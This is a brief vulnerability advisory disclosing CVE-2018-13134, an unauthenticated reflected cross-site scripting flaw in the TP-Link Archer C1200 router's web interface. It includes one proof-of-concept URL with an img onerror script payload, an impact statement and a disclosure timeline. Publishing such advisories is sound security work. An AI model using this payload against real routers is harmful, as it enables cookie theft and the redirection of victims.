TP-Link wireless router Archer C1200 – Cross-Site Scripting

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Hello folks. An Input validation vulnerability was found in TP-Link Archer c1200 v1.0, which results in client side code execution.
[CVE-2018-13134]

[+] Unauthenticated

[+] Author: Usman Saeed (usman [at] xc0re.net)

[+] Affected Version: Firmware version: 1.13 Build 2018/01/24 rel.52299 EU

[·] Impact: Client side attacks are very common and are the source of maximum number of user compromises. With this attack, the threat actor can steal cookies, redirect an innocent victim to a malicious website, thus compromising the user.

[·] Reason: The remote webserver does not filter special characters or illegal input.

[+] Attack type: Remote

[+] Patch Status: Unpatched

[+] Exploitation:

[!] The Cross-site scripting vector can be executed, as illustrated below

http://hostname/webpages/data/_._.<img src=a onerror=alert(“Reflected-XSS”)>../..%2f


[-] Responsible Disclosure:

  • April, 2018 – Contacted TP-Link via their web based form
  • May, 2018 – No Reply yet
  • May 26, 2018 – Public Disclosure

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